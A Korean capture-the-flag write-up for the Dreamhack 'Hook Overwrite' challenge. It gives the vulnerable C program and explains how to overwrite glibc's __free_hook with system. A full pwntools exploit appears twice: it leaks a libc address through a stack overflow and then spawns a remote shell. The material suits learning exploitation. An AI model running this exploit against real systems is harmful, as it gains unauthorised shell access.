[Dreamhack] Hook Overwrite
1. 문제 정보
2. 문제 파일
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
문제에서 제공되는 소스 코드입니다.
3. 문제 풀이

현재 모든 메모리 보호 기법들이 적용되어 있습니다.
Full RELRO 보호 기법이 적용 중이기 때문에 GOT Overwite 공격은 할 수 없습니다.
C언어에서 메모리의 동적 할당과 해제를 담당하는 함수로는 malloc, free, realloc 등 존재하는데 각 함수들은
디버깅 편의를 위해 훅 변수가 정의되어 있습니다.
이때 해당 훅 변수는 .bss 섹션에 위치합니다. 해당 영역은 쓰기가 가능하므로 값을 조작할 수 있습니다.
훅 변수를 system 같은 함수의 주소로 변조시켜 system("/bin/sh")을 실행하도록 할 수 있습니다.
이러한 공격 기법을 Hook Overwrite라고 합니다.


먼저 라이브러리 주소를 구해야 됩니다.
main 함수는 __libc_start_main이라는 라이브러리 함수가 호출하므로 스택 안에 있는 Return Address는 __libc_start_main 함수의 특정 주소를 가리키고 있을 것입니다.
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
버퍼 오버 플로우 공격을 통해 Return Address 주소 전까지 임의의 값으로 채우고 printf 함수로 주소를 읽어보도록 하겠습니다.
코드와 결과는 아래와 같습니다.
from pwn import *
context.log_level = 'debug'
r = remote("host1.dreamhack.games", 17909)
e = ELF('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
payload = b"A" * 0x40 + b"B" * 0x8
r.sendafter("Buf: ", payload)
r.recvuntil(payload)
libc_main = u64(r.recvline()[:-1] + b"\x00\x00") - 231
#libc_base = libc_main_231 - (libc.symbols['__libc_start_main'] + 231)
libc_base = libc_main - libc.symbols['__libc_start_main']
libc_system = libc_base + libc.symbols['system']
libc_binsh = libc_base + next(libc.search(b"/bin/sh"))
libc_free_hook = libc_base + libc.symbols['__free_hook']
print("[1] libc base : ", hex(libc_base))
print("[2] libc system : ", hex(libc_system))
print("[3] libc binsh : ", hex(libc_binsh))
print("[4] libc free_hook : ", hex(libc_free_hook))

이렇게 라이브러리 함수들의 주소를 구했으니 이제 Hook Overwrite 공격을 할 수 있습니다.
free_hook 변수의 주소와 binsh 함수의 주소 모두 구했으니 변조를 하고 free 함수를 호출해보도록 하겠습니다.
이때 인자로 "/bin/sh" 문자열의 주소를 넘겨주겠습니다.
코드와 결과는 아래와 같습니다.
r.sendlineafter("write: ", str(libc_free_hook))
r.sendlineafter("With: ", str(libc_system))
r.sendlineafter("To free: ", str(libc_binsh))
r.interactive()

전체 코드는 아래와 같습니다.
from pwn import *
context.log_level = 'debug'
r = remote("host1.dreamhack.games", 17909)
e = ELF('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
payload = b"A" * 0x40 + b"B" * 0x8
r.sendafter("Buf: ", payload)
r.recvuntil(payload)
libc_main = u64(r.recvline()[:-1] + b"\x00\x00") - 231
#libc_base = libc_main_231 - (libc.symbols['__libc_start_main'] + 231)
libc_base = libc_main - libc.symbols['__libc_start_main']
libc_system = libc_base + libc.symbols['system']
libc_binsh = libc_base + next(libc.search(b"/bin/sh"))
libc_free_hook = libc_base + libc.symbols['__free_hook']
print("[1] libc base : ", hex(libc_base))
print("[2] libc system : ", hex(libc_system))
print("[3] libc binsh : ", hex(libc_binsh))
print("[4] libc free_hook : ", hex(libc_free_hook))
r.sendlineafter("write: ", str(libc_free_hook))
r.sendlineafter("With: ", str(libc_system))
r.sendlineafter("To free: ", str(libc_binsh))
r.interactive()